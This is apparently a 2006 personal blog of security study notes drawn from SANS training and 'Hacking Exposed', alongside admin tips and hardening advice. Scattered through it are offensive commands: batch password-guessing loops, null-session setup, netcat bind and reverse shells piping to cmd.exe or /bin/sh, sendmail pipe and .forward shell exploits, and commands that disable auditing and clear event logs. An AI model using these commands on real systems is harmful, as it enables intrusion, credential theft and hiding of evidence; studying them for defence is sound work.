Monday, December 11, 2006

Old Wiki

1 - Windows

- - Unable to delete registry key?
- Use the at command to schedule an interactive registry edit with SYSTEM rights
ex. c:\> at 16:00 /interactive regedt32.exe
- - Netstat Foo
- - C:\> netstat -na 1 | find "[Scan_Host_IP_Addr]" -- Watches for connections/scans
- - C:\> netstat -nao 1 | find "[Dest_IP_Addr]" -- Finds the PID generating the traffic
- - C:\> netstat -na 1 | find "4444" | find "ESTABLISHED" -- Reports when someone connects
- - Get Your Netbios Name Codes
- - PSTools Foo
- - Remote Shutdown > psexec \\RemotePC -u UserName -p Password shutdown -r -t 1
- - Remote Service Disabling - sc \\ config start= disabled
- - MISC
- - LM Empty Hash AAD3B435B51404EEAAD3B435B51404EE
- - NTLM Empty Hash 31D6CFE0D16AE931B73C59D7E0C089C0
- - Find Resultant Set of Group Policy, rsop.msc
- - C:\> write notepad.exe:STR -- allows you to see ADS
- - Ping Sweeper
- - for /L %i in (1,1,255) do @ping -n 1 .%i | find "Reply"
- - Auto NSlookup
- - for /L %i in (1,1,255) do @nslookup .%i 2>nul | find "Name" && @echo .%i
- - Password Guesser
- - for /f %i in (password.lst) do @echo %i & @net use \\[ip] %i /u:[Username] 2>nul && pause
- - or && echo UserName: %i >> success.txt
- - User and Password Guesser
- - for /f %i in (user.txt) do @(for /f %j in (pass.txt) do @echo %i:%j & net use \\ %j /u:%i 2>nul && echo
- - %i:%j >> success.txt && net use \\ /del)

2 - *NIX

- Escaping wildcards in grep/egrep > grep ' 10\.0\.0\.1 ' or >egrep ' 10\.0\.0\.[0-9]+ '
- Finding Big Files for Deletion > find / -xdev -type f -size +1000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'
- Total unique lines and sort > grep whatever somefile | sort | uniq -c | sort -r
- WGETIE > alias wgetie='wget -U '\''Mozilla/4.0 (compatible); MSIE 6.0; Windows NT 5.1; SV1)'\'''
- Stop overwriting files
- in .bashrc> set -o noclobber
- set immutable bit> chattr +i

3 - Security

Spafford's first principle of security administration. This principle states that 'if you have responsibility for security but have no authority to set rules or punish violators, your own role in the organization is to take the blame when something big goes wrong'.

"[S]ystem vulnerabilities do not result from immutable physical laws. They occur because of a gap between theory and practice. In theory, a system should do only what its designers and operators want it to. In practice, it does exactly what its code (and settings) tells it to" - Air Force

“Freedom, Security, Convenience: Choose Two” - Dan Geer

Didier Steven's Safe Website Analysis
1 - Make working directory "mkdir _"
2 - cd into working directory
3 - echo "hxxp://something' > 01.url
4 - wgetie -d -o 02.log -i 01.url
5 - review log for 200 OK and data
6 - review file for malicious traits, rename to 03..html.vir if confirmed
7 - run " 03..html.vir"
8 - rename to 04.script.1 and review file
9 - deobfuscate with spidermonkey "js 04.script.1"
10- rename output files
11- review logs for binaries or other downloads
12- download the binaries "wgetie -d -i 08.log -i 07.url"
13- review log for 200 OK and data, rename the file
14- 09..exe > 10..exe.pecheck
15- Check entropy for packing and other peinfo and a hash search possibly
4 - Browsers

- Firefox Hacks
- Render pages faster > nglayout.initialpaint.delay :int 0-50
- Reduce Reflows > content.notify.interval :int 500000<>1000000 & content.notify.ontimer :bool true
- Search Tool results in new tab > :bool true
- Increase http connections > network.http.max-connections :int 32
- Increase server connections > network.http.max-connections-per-server :int 16
- Increase persistent connections > network.http.max-persistent-connections-per-server :int 8
- Reduce interval for persistent connections > network.http.request.max-start-delay :int 0
- Activate pipelining > network.http.pipelining :bool true & network.http.pipelining.maxrequests :int 16
5 - Wireless

- WAP Security Tips

1. Update the firmware on the AP and on all of the STAs.

2. Change the administrators password to a very complex one that you can remember and or document.

3. If the AP allows you to do so, change the name of the administrators account.

4. Disable DHCP on the LAN side of the AP and use Static IP addressing on the STAs.

5. Change the default IP address of the AP to something that will work for your STAs.

6. Use the strongest authentication and encryption that the AP and STAs can all use.

7. Turn off the broadcasting of the SSID in the Beacon frame.

8. Use a non default SSID that neither identifies you, your business, your location, or the location of the AP.

9. Place a space or two at the end of the SSID. (War Drivers will not see them)

10. Implement a MAC filter allowing only your STAs to connect.

11. Turn the transmit power down on the AP to just what is required for desired coverage.

12. Use a non-overlapping channel, preferably not channel 6.

13. Change your PHY to 5GHz if possible.

14. Use Anti-Spyware on your STAs.

15. Use a personal firewall on the STAs.

16. Use end point protection software if possible.

17. Install the AP in a physically safe location.

18. Do not disclose your configurations to others.

19. Limit the number of allowed associations to just your STAs.

20. When not in use, turn off the AP.

21. If there is a breach in security, change all security settings as soon as possible.

22. If you are unable to configure the AP securely, consult a trained and certified professional to do so on your behalf.

6 - DNS

- DNS SecurityTips
- Restrict Zone Transfers. Only Secondary server should be allowed to transfer from Primary.
- Log all Zone Transfer requests
- Disable Recursion for external hosts, only exception would be roaming hosts and trusted partners.
- Restrict Queries
- Restrict dynamic updates, only authorized hosts should be able to make updates.
- Deploy Split DNS, logically and physically separate internal and external address space.
- TCP Port 53 is required for more then just zone transfers, don't block it on your secondary servers.
- Split-Split DNS setup seperates Resolving and Advertising functions. Requires 6 total DNS servers.
- SRV and _msdcs records contain internal Active Directory naming information
- Attacks -- DNS Rebinding "The Princeton Attack" - javascript (document.domain) and same-origin policy allow for domain name to be modified
-- DNS Pinning - sets DNS TTL very low and javascript forces another lookup with a bogus domain/ip pair. This allows for users to be forced to scan their internal network, which the attacker cannot access external due to IP restrictions.

Monday, March 6, 2006

Windows Memory Map

Map of Windows Memory Addresses


SANS - Hacker Track

SANS Track 4 Notes, Comments

Day 1 – Incident Handling

Sample Incident forms are available @

Giac Practicals are available @

and contain good working examples

Protect Evidence – get the user away from the machine ASAP to keep the machine unchanged until you can image the drive. Keep the original stored in a safe place and maintain a chain of evidence.

Verify backup integrity to insure you are not restoring a compromised image.

Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned

Keep up to date on privacy laws, European laws are radically different from US laws

IDS, depending on the vendor, maybe able to monitor encrypted VPN traffic
Always strive to raise security awareness with management

Honeynet – for training purposes it maybe useful to set up a vulnerable system to intentionally let it be compromised to develop the teams investigative skills.

Nice Trojan Port list

Organizations should create a list of most probable target systems to enhance monitoring efforts

Vulnerability/Exploit news

Develop an Evidence Elimination IDS Signature, i.e. somebody accessing a website or tool that is designed to clean their system.

Legal/Regulatory sites

DOJ Electronic Evidence Guide

Day 2 – Computer & Network Hacker Exploits

If viable get written permission for any activities not specifically authorized
Software Disto Attacks – always verify Checksums across multiple sites

Inside Company Info –

Robots.txt file contains information that companies don’t want you to see on the web. Instructs browsers not to look there.

When crawling a website always used a cached version on Google if available

THC Wardialer @

Every wireless encryption, including PEAP and LEAP, which rotate keys has been broken. There are many tools available for wireless sniffing and key cracking.

The only true way to secure a WAP, would be to point it to a VPN with strong authentication.

Honeypot WAP’s are a good way to catch hackers in the act. Also, there are tools to broadcast fake SSID’s to confuse hackers.

In Unix, you need to use the iwconfig command to configure wireless cards. Requires installing wireless extensions.

Cheops isn’t accurate and routinely will miss 40% of network hosts

Port 80 and Port 443 are very popular for hackers to hide traffic in, because of the sheer volume of traffic make detection near impossible.

For passive “scanning” try P0F

Firewalk will probe firewalls for open ports firewalk-0.99.1.tar.gz

Netscreen firewalls are considered one of the least statefull walls around, and allow SYN, FIN, and NO Flags to pass even if drop rules are in place.

Good idea to have a IDS Signature that will detect TTL tracerouting. Also, should block any ICMP error messages from leaving internal network.

90% of fragmented packets are estimated to be malicious. Some IPSEC VPN’s will create fragmented packets if not configured correctly. If feasible to business, consider dropping all fragmented packets at the firewall.

“Manager Think” – nothing bad has happened yet, so nothing probably will.

Day 3 – Computer & Network Hacker Exploits (continued)

It only takes 20-30 packets per minute to create a SYN Flood condition

If you’re on constantly seeing broadcast netbios traffic, it’s a good idea to verify domain or WINS configuration settings.

Sniffit has curses interface and will create inventory of sniffed connections and allow users to zoom in for more info on any particular traffic.

Dnsiff contains Tcpkill for RST DOS and Tcpnice, so slow down tcp connections. Slowing down the rate of traffic is a good way to limit a hacker without tipping him off you’ve detecting him.

Purdue website contains many useful tools

TTYSnoop good tool for hijacking somebody else’s unix session. Linux RPM

DNS Cache Poisoning, Do we have dragon sigs for this?

To hide your source IP via Netcat relay, good idea to use a named pipe(> mknod backpipe p)

Large numbers of NOP packets maybe a buffer overflow attack(NOP Sled)

Memory Alignment makes code more efficient by aligning bytes into a certain memory location. supposed to be a common framework for malware

Many buffer overflow defenses that monitor the stack have been beaten(Phrack 56)

Polymorphic exploits use XOR encryption to change the code’s appearance on the wire, see popular whitepaper on IDS Evasion techniques contains checksums to verify code

Good format strings paper

Intel Architecture stores numbers from right to left, so when feeding into the stack you need to feed backwards.

Day 4 – Computer & Network Hacker Exploits (continued)

Use Windows character map for easy Unicode Character conversions.

First MS fix for Unicode exploit can be beaten by double coding your directory transversal ..%252f..%252f..

Good idea to disable lanman hashes in the registry if backwards compatibility is not an issue

UNIX includes salt in there hashes to make them unique, where as password encrypted on a Windows system is the same on every windows system. Using a predefined list of encrypted passwords works well against windows

Check out extended modules for John like Crack S/Key and AFS/Kerberos
Once you have the admin password, use scheduler to get an interactive shell. If it’s not running use the net start command.

Check out pstools from

Good idea to have different AV software on the desktop, mail server, and file servers. Allows for different virus definitions to be used at the various levels, instead of putting your eggs in one basket.

When harvesting web accounts pay close attention to the error messages, like invalid account versus invalid password or account locked. Once you have a valid account it can be brute forced.

Regarding Input Validation Attacks, to bypass any client side filtering save the page to disk and remove the java checks or just use Achilles. Server side filtering is the only true protection.

Check out Mixter’s paper on DDOS

DDOS method of choice is a reflected attack which bounces your botnet attack layer off high bandwidth sites (google, ebay, etc) to your target.

Day 5 – Computer & Network Hacker Exploits (continued)

In the future, we may see CPU level(microcode) malware

If IIS is not loaded on the C drive, try using a tool like tini because it will automatically find cmd.exe
Setiri Trojan can bypass all firewalls and proxies by running an invisible browser on the target machine to communicate with the attacker.

Several good tools exist to hide Trojans in normal executables (SaranWrap, Elitewrape, Silk Rope)

Installing a root kit may require the Kernel source code

Many Rootkits will self delete if a special signal is received, like a network cable being unplugged, see Lysine Deficiency

Webgoat software teaches you to hack websites

Buggybank from Webmaven includes real website flaws for you to investigate

Good best practices site

Mount is an easy way to hide files. Simply create your file and mount another directory on top of it.

Time stamps can all be altered (touch,etc.), so they should not be trusted

StegFS will create a layered stego filesystem. Using multiple layers everything beyond the first layer will be undetectable.

Day 6 – Hacker Tools Workshop

Hack away …

Hacking Exposed Notes

Hacking Exposed Notes

Footprinting – profiling an organization Internet, Intranet, Remote Access, and Extranet presence to determine security posture and netblocks

Website Pilfering – grabbing source code to analyze offline

Unix – Wget

Win – Teleport Pro

Search Engines – tools for searching multiple engines, IRC, email, etc at once

Win – FerretPRO($)

Web – DogPile

Registered Networks – internet whois searches

Current Registrars

Unix – Whois, Xwhois

Unix - $ whois “acme.” (list possible domains)

Unix - $ whois “HANDLE JS1234” (list POC info)

Unix - $ whois “” (list email info)

Web – US

Web – International

Web – US Military

Web – US Gov

DNS Interogation – zone transfers between primary and secondary

Unix - $ nslookup

$ server x.x.x.x

$ set type=any

$ ls –d >> /tmp/zone_out

Unix - $ host –l –v –t any

Unix - $ host (resolves Mail Exchange records)

Unix – axfr

Win – Sam Spade

Network Reconnaissance – determine path to network(access path diagram)

Unix - $ traceroute –S –p53 x.x.x.x ( p option allows you to specify port to start at and will increment by one; S option will stop incrementing once open port is found)

Requires patch

Unix – traceroute option –I uses ICMP packets, default is UDP

Win – tracert(CLI)

Win – VisualRoute , NeoTrace (GUI)

Counter Measure – log incoming traceroutes and send back false data


Scanning – determine systems that are alive and reachable via sweeps, port scans, and discovery tools

Ping Sweeps – sending out ICMP ECHO(type 8) across ranges

Unix – fping

Unix – nmap, use –sP option and valid net range, -PT<#> allows you to try other ports if blocked

Unix – Hping allows you to send fragmented packets(-f)

Unix – icmpenum ability to use ICMP TIME STAMP REQUESTS and ICMP INFO when ECHO is blocked, spoof packets with –s option, and passively list with the –p option

Win – Pinger

Win – Ping Sweep

Additional Tools

Unix – Loki2 wraps data in ICMP packets, used to bypass firewalls and install backdoors

Port Scanning – connecting to TCP and UDP ports on a target system to see which services are running and which OS

TCP connect scan – full three way handshake, easily detected by host or NIDS

TCP SYN scan – no ACK is sent, only RST /ACK so that no connection is made, stealthier

TCP Xmas Tree Scan – uses FIN, URG, PUSH packets to receive RST for closed ports

TCP Null Scan – sends packet with no flags to receive RST for closed ports

TCP ACK Scan – used to map firewall rulesets, determine statefullness

TCP Windows Scan – analyzes TCP window size for OS identification and open ports

TCP RCP Scan – Unix, detect RPC ports and associated program

UDP Scan – looks for ICMP port unreachable, less accurate, slower

Unix – Strobe TCP scanner, also grabs banners

Unix – Saint(SATAN) UDP scanner

Unix - netcat Multifunction scanner

Unix – nmap, -D option for decoy scan, -I option shows owner of service(root), -b ftp bounce

Win – SuperScan

FTP Bounce Scanning - allows attacker put/get data via 3rd party server that is trusted by the target host. Requires port command and writable directory on system

Scan Detection

Unix – Snort open source NIDS

Unix – scanlogd host based logging

Unix – PortSentry host based, detects and blocks

Unix – firewall scan detection

Win – Genius 3.2.3 windows host based scan detection

OS Determination – using techniques such as banner grabbing, port scanning, and stack fingerprinting to determine target hosts Operating System

Stack Fingerprinting – analyzing target machine’s TCP/IP stack for OS specific signatures. Each Vendor implements the TCP/IP stack slightly different.

Passive Stack Fingerprinting – no connections are made, only analyzing packets via a sniffer for specific attributes such as TTL, Window Size, and DF(don’t fragment bit). The results can be compared to the Siphon fingerprint db

Discovery Tools

Unix – Cheops Linux GUI for network discovery via ping, traceroute, queso

Unix – Scotty discovery tool, includes SNMP

Enumeration – process of extracting valid account and shared resource information for a target host


Windows Resouce Kits – contains useful Windows utilities

Win2K -


WinNT -

Null Sessions – CIFS/SMB & NetBIOS all unauthenticated sessions via port 139 & 445

Win – C:>\net use \\\IPC$ “” /u:”” (setting up a null session)

Win – edit registry key HKLM\SYSTEM\CurrentControlSet\Control\LSA\Restrict Anonymous

Must be set to 1 for NT and 2 for W2K to restrict null sessions. Read Hobbits CIFS paper for further info

Domain Enumeration – use netbios on UDP port 137 to list domains and domain machines

Win – C:\>net view /domain

C:\>net view /domain: (lists machines on domain)

NetBIOS Name Tables – grab NetBIOS names remotely

Win – C:\>nbtstat –A

Win – C:\>nbtscan

Unix/Win versions found at

Domain Controller Enumeration

Win – C:\>nltest /dclist: (ran over null session nltest /server:)

C:\>nltest /trusted_domains

Share Enumeration

Win – C:\>net view \\ (rmtshare, srvinfo [-s] also good NTRK)

Win – DumpSec also shows file system permissions and services

Win – Legion 2.1

Win – NAT

Misc Windows Enumeration Tools

Win – Epdump RPC service/port mappings

Win – netviewx lists specific server types like domain controller, RAS, print

C:\>netviewx –D -T

Win – Winfo automates null sessions

Win – Nbtdump provides HTML report

SNMP Enumeration

Win – Snmputil – browses MIB(Management Information Base) tree using default strings like public, private. The tree is hierarchical, so each time you “walk up” more information is revealed. “.” is the OID for Microsoft’s MIB.(NTRK)

C:\>snmputil walk public .

Win – IP Browser – Solarwinds GUI,

More CIFS/SMB Enumeration

Win – Dumpsec(DumpACL) – uses null session to get user, group, share, and policy info

Win – sid2user/user2sid – allows for easy conversion of SID’s to usernames and vice versa

C:\>user2sid \\ “domain users” (grabs the machines SID)

C:\>sid2user \\ 5 21 8915387 1645822062 18198280005 500 (grabs admin account’s user name, note 500 is always the admin RID, even if its renamed. Also, the first account created is always given an RID of 1000 and incremented by one from there)

Mark Russinovich

Win – Enum – CLI utility for enumeration & password guessing

C:\>enum –U –d –P –L –c

Win – Nete from sirdystic of CDC, similar to enum

Win – UserInfo/UserDump user Level 3 call on NetUserGetInfo API

LDAP Enumeration

Win – ldp.exe – Active Directory Administration Tool – connects to AD server and allows you to browse contents, runs on either port 389 or 3268(AD Global Catolog)

Banner Enumeration

Banner grabbing via telnet or netcat on various ports like 80, 21, 23, 25 will often leak system, OS, application, user, or version information. Also common to “nudge” the system into coughing up more information using commands like: GET / HTTP/1.0, HEAD, QUIT, HELP, ECHO, and sometimes just carriage returns.

Registry Enumeration

Regdmp(NTRK) or DumpSec(Somarsoft) can be both be used to do this, however by default Win2K Server usually doesn’t allow this. Review the Key HKLM\System\CurrentControlSet\Control\SecurePipeServer\Winreg\AllowedPaths

To see whats allowed


NFS Enumeration

Unix – showmount – lists all NFS(port 2049) exported file systems on a machine

$showmount –e

NIS Enumeraton

Unix – in general various NIS client tools can be used to guess the NIS domain name of a server and retrieve NIS maps, which contain valuable information(pscan by Pluvius)

User & Group Enumeration

Unix – finger(port 79), rwho, rusers all list out who is on the machine at the time. To disable these services simply edit the inetd.conf file and killall –HUP inetd

Unix – SMTP – VRFY will confirm name of valid user; EXPN will give out the actual mail address of aliases and mailing lists. Just telnet to port 25 to test.

Unix – tftp – if enabled, may allow you to get the /etc/password file.

RPC Enumeration

Unix – rpcinfo, rpcdump – both list the RPC bindings for all applications running on the box. RPC uses ports 111, 32771.

SNMP Enumeration

Unix – the net-snmp package will usually include both snmpget and snmpwalk

$ snmpget public system.sysName.0 (grabs host name)

$ snmpwalk public (grabs eniter MIB)

BGP Route Enumeration

Unix – ASN Queries – ASN(Autonomous System Numer) is a 16-bit integer purchased from ARIN to identify a company on the internet. Use to search for this info.

C:\> telnet (public router)

Ø show ip bgp (last number in AS Path is ASN)

Ø show ip bgp regexp _$ (will give you the public IP space of company)

Windows NT Hacking – gaining access, escalating privileges and covering tracks on Windows NT system

Password Guessing

Default Passwords

Null Passwords Tools NTInfoScan


Password Sniffing SMB Packet Capture(readsmb) included with l0phtcrack

PPTP – Unix based sniffer that captures VPN credentials(packetstorm)

Cain & Abel filters out login credentials

Pass The Hash NT Only, LSASS allows hash only authentication

Buffer Overflows unexpected input, which forces arbitrary code into the execution stack by DilDog by Barnaby Jack by Aleph One

Privilege Escalation

Hoovering process of stealing as much info off the machine as possible with a non-admin account. Srvinfo(NTRK) will enumerate shares and regdmp(NTRK) can probe the registry for info. Also good to script a find command in a batch file to look for the password string. GetAdmin uses DLL injection to add a user into the local admin group(crash4)

Sechole, Secholed escalates privileges of IUSR_machine_name account on IIS, must be able to upload to a executable directory on server

LPC Spoofing

hk(porttool) from Razor exploits the LPC Ports API, which has weak validation checks. Allows user to make a client thread as the SYSTEM user.

Password Cracking the SAM file may be obtained by booting to an alternate OS, from the repair directory, or extracting from the registry via tool.

Pwdump extracts password hashes from the SAM

L0phtcrack defacto standard for cracking windows passwords, not free anymore LC5

Cain & Abel - Poor man’s version of LC, free

Wordlists -

Exploiting Trusts

LSA Secrets - The key HKLM\SECURITY\Policy\Secrets holds service accounts in plain text, cached passwords of last 10 users, FTP and web plain test passwords, RAS usernames and passwords, and domain account information. Lsadump2 finds PID of LSASS and uses dll injection


WinDump, “w32 tcpdump” Ethereal
Dsniff for Win32

Keystroke Loggers - If sniffing fails, install a keystroke logger to obtain domain credentials

Remote Control & Backdoors - Remote.exe From NTRK, gives remote users a CMD shell. Most popular way to start it on the host is the us the AT command(scheduler service).

SC.exe - Service Controler will start the scheduler service if its not running C:\> sc \\ start schedule
C:\> net time \\ (to check time on remote system)
C:\> at \\ 10:40P “”remote /s cmd secret”” (launchesserver) C:\> remote /c secret (launches your client)

Netcat -TCP-IP Swiss-Army Knife
C:\> nc –L –d –e cmd.exe –p80 (starts listener on target host)
C:\> nc 80 (connects attacker to target host)

Netbus - similar to Back Orifice, the nbsvr.exe must be started on target first. Good idea to run in stealth mode by modifying the registry, however most Virus scans will detect it running. Default ports are 12345 and 20034
C:\> regini –m \\ regchange.txt (NTRK)

BO2K - Back Orifice, still under active development, works on 2K and XP

Along with these VNC, Netmeeting, and dameware are poplular gui-based remote control apps

Port Redirection
Netcat - “Shell Shoveling” target listens on one port while sending the output back via cmd shell to the attacker. The attacker must listen on 2 ports
$ nc 80 | cmd.exe | nc 25 (run on target)

Fpipe - Popular port redirector, also allows for specifying source port. Does have some session timeout issues though with TIME_WAIT and CLOSE_WAIT periods C:\>fpipe –v –l 53 –r 23 (command to run on target)

Root Kits - first Windows rootkit was from Greg Hoglund of A root kit is a software suite that substitutes command system binaries with Trojans. Rootkits use a technique known as “function hooking” to redirect calls without altering the executable or binary. The current generation of Kernel level rootkits are very difficult to detect as they are embedded in the OS.

Cover Tracks
Disable Auditing
C:\> auditpol /disable (NTRK)
Clear Event Log
C:\> elsave –s \\ -l “Security” -C

Hiding Files
C:\> attib +h [directory] (dos command)
NTFS File Streaming will hide stuff as additional file attributes. It requires the POSIX utility cp(NTRK)
C:\> cp : (just reverse to unhide)

Windows 2000 Hacking – gaining access, escalating privileges and covering tracks on Windows 2K system

Resource Kit Tools

IPSec Filters - built in feature which does packet filtering very early in the network stack and will drop any packets which fail to meet the rules. Only flaw is that it cannot block IKE, multicast, or broadcast traffic and can’t do port ranges.

NetBIOS/SMB - System information will still be leaked unless you do 1 of 2 things. Disabling File and Print Sharing on your outbound interface will prevent nullsessions. Set RestrictAnonymous = 2 in either the registry or in the Security Policy Manager.

Eavesdropping - All authentication sent using legacy LM hashes can be easily decrypted via L0phtcrack. Also, Kerberos authentication is not used if the user specifies an IP address instead of a hostname.

SMBRelay - When trying to connect to a share/server, Windows will automatically try to log in as the current user if no other authentication information is explicitly supplied, before asking the user for a logon/password. SMBRelay will conduct a MITM attack by fooling a user into connecting to your rogue server, meanwhile after capturing the traffic it is relayed to the actual destination and back to the end user.

Denial of Service
New Registry Keys
HKLM\Sys\CCS\Services\Tcpip\Parameters\SynAttackProtect = 2 (times out syn_received faster)
EnableDeadGWDetect = 0 (prevents attacker from changing default gw) EnablePMTUDiscovery = 0 (stops hackers from lowering MTU value)
KeepAliveTime = 300,000 (verify’s an idle connection is still intact)
Interfaces\NoNameReleaseOnDemand = 0 (stops malware)
Interfaces\PerformRouterDiscovery = 0 (stop router spoofing attack);en-us;142641

Nbname - This tools puts a host in Netbios Name Conflict effectively stopping all Netbios networking on the host. Must first disable NBT on attacker machine to use tool.
C:\>nbname /astat /confilict

Privilege Escalation
PipeUpAdmin - Pre SP2, puts current user into admin group when run from cmd prompt

NetDDE - Network Dynamic Data Exchange service allows applications to share date through “trusted shares”. Runs as SYSTEM, so arbitrary code can be attached to the request and viola your admin. Requires Visual C++.
C:\>netddemsg –s cmd.exe

Defeating SYSKEY - pwdump3 can extract hashes from the SAM. Also pwdump3e from ebiz can do this remotely via SMB. Can be used on bootable media to insert hashes into the SAM. It disables SYSKEY prior to doing this. Similar to NTFSDOS Pro.

Deleting SAM simply booting to an alternate OS and deleting the SAM nullifies the administrator password. DC are not vulnerable.

EFS - Encrypting File System allows users to encrypt files and folders at the OS level. Cipher can be used from the CMD line. Default Recovery Key is the local admin account, however it should be stored remotely.

EFS Temporary - EFS writes a temp file in plain text before encrypting a new file, however a low level disk editor like diskprobe.exe(RK) can recover the file even after its deleted because the disk blocks are not overwritten.

Exploiting Trust
LSA Secrets - lsadump2 still functions on W2K. Microsoft doesn’t consider it a problem
Multimaster Model - Within a Windows 2K forest, all domains replicate a shared Active Directory and trust each other with 2-way transitive trusts necessitated by the Kerberos implementation. Trusts between forests and NT domains are still one-way. This allows for consolidation of domains and delegation of permissions via OU’s (organizational units).

Back Doors
Trap-Dooring Path - When executables and DLL files are not preceded by a path in the registry, windows searches for them in a default order. Therefore by placing your trojaned file on the system drive, the system will launch it instead of the original file.

Remote Control
Terminal Services running on 3389, TS allows brute force password guessing even if a lockout policy is set. TS also allows existing connections to be hijacked if the previous user forgot to logout correctly, assuming you have their credentials.

New Stuff
Group Policy - GPO is a new 2K feature, that allows you to configure security parameters in one place to be enforced locally or on the domain. (Gpedit.msc)

Secedit - Security Configuration and Analysis tool allows admins to audit the local system security for compliance issues. It also allows you to automatically make updates and have them applied immediately.

XP Stuff
ICF - Internet Connection Firewall offers packet filtering on all inbound traffic, while permitting all outbound traffic.
Software Restriction Policy allows central control over application security to protect against various forms of malware.
Built-In Support for encrypted Wireless Networking(802.11).
MS Passport single-login solution for internet, works by using a tamper-resistant cookie for accessing all sites that support MS passport authentication.
Credential Management, WPA, Remote Desktop, UPNP

UNIX/Linux Hacking – gaining access, escalating privileges and covering tracks on *NIX system

Vulnerability Mapping is the process of mapping specific security attributes of a system to an associated vulnerability or potential vulnerability.

Nessus is a defacto standard because its free and works. (unix & windows ports)

Remote Attacks - Exploit a Listening Service (telnet, ftp, ssh, etc)
Route Through a Unix System – circumvent a Unix firewall by source routing your packets through the firewall. Works only if system has IP forwarding enabling.
User-Initiated Remote Execution – attacks requiring user interaction, such as browsing malicious web sites or opening email attachments.
Promiscuous Mode Attacks – crafted packets can exploit your sniffer application

Brute Force - Brutus Common tool
John - Standard Unix Cracker

Data Driven Attacks are executed by sending data to an active service that causes unintended or undesirable results.Buffer Overflow condition occurs when a user or process attempts to place more data into a buffer than was originally allocated. This type of behavior is associated with specific C functions like strcpy, strcat, sprintf etc. A buffer overflow condition would normally cause a segmentation violation to occur. When the attack is executed, special assembly code known as the egg is sent to the VRFY command as part of the actual string used to overflow the buffer. When it’s overrun, attackers can set the return address of the offending function, to point to their arbitrary code’s memory address, which usually includes a shell command.

Unix Memory Dump Analysis, Good Luck
Aleph One’s Paper Phrack 49
Hell Kit for writing buffer overflows
Disable stack execution in /etc/system:Set noexec_user_stack=1Set noexec_user_stack_log =1

Heap Overflows are based on overrunning memory that has been dynamically allocated by an application. This process differs from stack-based overflows, which depend on overflowing a fixed-length buffer.

Format String Vulnerability arises in subtle programming errors in the formatted output family of functions, which includes printf() and sprintf(). An attacker can take advantage of this by passing carefully crafted test strings containing formatting directives, which can cause the target computer to execute arbitrary commands. For example by using printf(buf) instead of printf(“%I”, buf) the system will read the first argument supplied by the user as the format string and allow arbitrary code to follow it.

Input Validation Attacks occur when a program fails to recognize syntactically incorrect input, a module accepts extraneous input, a module fails to handle missing input fields, or a field-value correlation error occurs. Often used to exploit CGI scripts or other web applications. Shell AccessX Term if enabled is the easiest way to get local gui access on a machine remotely, but may need to be combined with an exploit though. $ /usr/X11R6/bin/xterm –ut :0.0

Reverse Telnet/Netcat will both provide attackers with a back channel into the system that originates from the target host. Both require a listener to be running.
$ /bin/telnet 80 | /bin/sh | /bin/telnet 25
$ nc –e /bin/sh 80

TFTP/Anonymous FTP both will allow attacker to gain access to your machine and if a writeable/executable directory is available the system is toast. The services themselves may be vulnerable to exploits.Sendmail the standard Unix Mail Transfer Agent has been full of vulnerabilities dating back to 1988. Common attacks aside from buffer overflows, input validation, and SMTP enumeration include:Pipe Vulnerability which allows a user to escape to a shell after the data portion
Mail from:
Rcpt to: bounceData.
mail from:
binrcpt to: |sed ‘1,/^$/d’ | shdata Forward VulnerabilityCat > .forward (create forward file to ftp to users home directory)|”cp /bin/sh /home/gk/evil_shell ; chmod 755 /home/gk/evil_shell” (creates shell executable)
$ echo hello chump | mail gk@targetsystem.comThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it Refer to for up to date information

RPC is a mechanism that allows a program running on one computer to seamlessly execute code on a remote system. Most buffer overflow attacks target RPC services that run as root in order to gain shell access to the target sytem. Common services exploited include rpc.ttdbserverdb(tooltalk), rpc.cmsd(CDE), rpc.statd(automount), mountd, sadmind, and snmpXdmid.

NFS allows transparent access to files and directories of remote systems as if they were stored locally. Most of the security provided by NFS relates to a data object known as a file handle. The file handle is a token that is used to uniquely identify each file and directory on the remote server. If a file handle can be sniffed of guessed, remote attackers could easily access those files on the remote system.
$ showmount –e (lists exported file systems & permissions)
$ mount :/ /mnt

Try NFSshell for more functionality

X Windows System allows exporting of the local graphical display to remote users.Xscan will scan an entire subnet looking for systems with xhosts + enabled and log any console keystrokes to a local logfile.
$ xlswins –display :0.0 (will list out hex id’s for you)
$ xwatchwin -w (allows you to observe somebody else’s x session)

DNS Insecurity refer to

SSH Insecurity refer to

Promisious Mode Attacks are common in Ethereal, tcpdump, and several other sniffersSymbolic Link can be exploited using any program, especially SUID ones, that creates a temp file and doesn’t perform any sanity checking. By linking that tmp file to the /etc/password or shadow file, the program will update it with its permissions and not root’s.
$ strings * | grep tmp (when run in /bin or /usr/bin, will list out good programs to target)

File Descriptors are nonnegative integers that the system uses to keep track of files rather than using specific filenames (0,1,2, std in, out, error). If a file descriptor is opened r/w by a privileged process, it may be possible for the attacker to write to the file while it is being modified. To shell out of vi, execute :!sh and then modify the tmp file or run exploit code.